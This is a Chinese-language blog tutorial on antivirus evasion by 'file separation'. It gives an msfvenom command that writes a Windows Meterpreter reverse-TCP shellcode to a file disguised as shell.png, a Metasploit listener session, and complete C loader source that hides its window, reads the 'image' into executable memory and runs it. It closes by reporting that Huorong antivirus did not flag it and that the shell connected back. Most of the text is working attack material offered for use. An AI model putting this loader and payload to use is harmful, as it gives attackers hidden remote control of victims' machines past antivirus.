文件分离免杀

概要:
shellcode(恶意代码) 以某种形式存在,通过一些手段,载入到本地,加载器加载执行,就是将shellcode分离了出去一某种文件形式存在,也可以将他存储到本地或存储到VPS中进行下载执行。在一些特殊情况下可以起到一些较好的效果。

生成shellcode

首先生成shellcode文件,可以用msfvemon,CS等现有工具,生成一段二进制 raw格式代码,保存成图片文件。

这里我用的是自己的VPS

msfvenom -p windows/meterpreter/reverse_tcp lhost=你的ip lport=你的端口  -f  raw >shell.png

msfvenom生成shellcode

下载shell.png到本地

下载到本地

开启msf的监听

#进入msf框架
root@VM-16-15-ubuntu:~# msfconsole
#开启监听模块
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
#配置参数
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 4399
lport => 4399
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
#开启监听
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:4399

开启监听

编写文件分离恶意Loder

开发工具:

  • visual studio 2019 下载Cpp/C编译环境
#define  _CRT_SECURE_NO_WARNINGS
//取消对危险函数的警告
 
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
//引入所需的头文件

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
//不显示cmd窗口

int main() {
  FILE* fp;
  //定义文件指针
  size_t size;
  //定义大小用来存储shellcode
  unsigned char* buffer;
  //无符号(非负数)字符型指针变量
  
  //打开本地图片 图片中是shellcode恶意代码
  fp = fopen("shell.png", "rb");
  //操作文件指针fp
  fseek(fp, 0, SEEK_END);
  size = ftell(fp);
  fseek(fp, 0, SEEK_SET);
  buffer = (unsigned char *)malloc(size);
  fread(buffer, size, 1, fp);
  void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, buffer, size);
  ((void(*)())exec)();
  return 0;

}

2023-11-16T11:22:15.png

尝试杀毒

结果很惊喜,火绒看不上我们,没有报毒,接下来查看上线情况!

免杀火绒

查看上线

成功上线

上线情况

本文原日期为2022年5月4日,到今天是否免杀各位自测

标签: none

添加新评论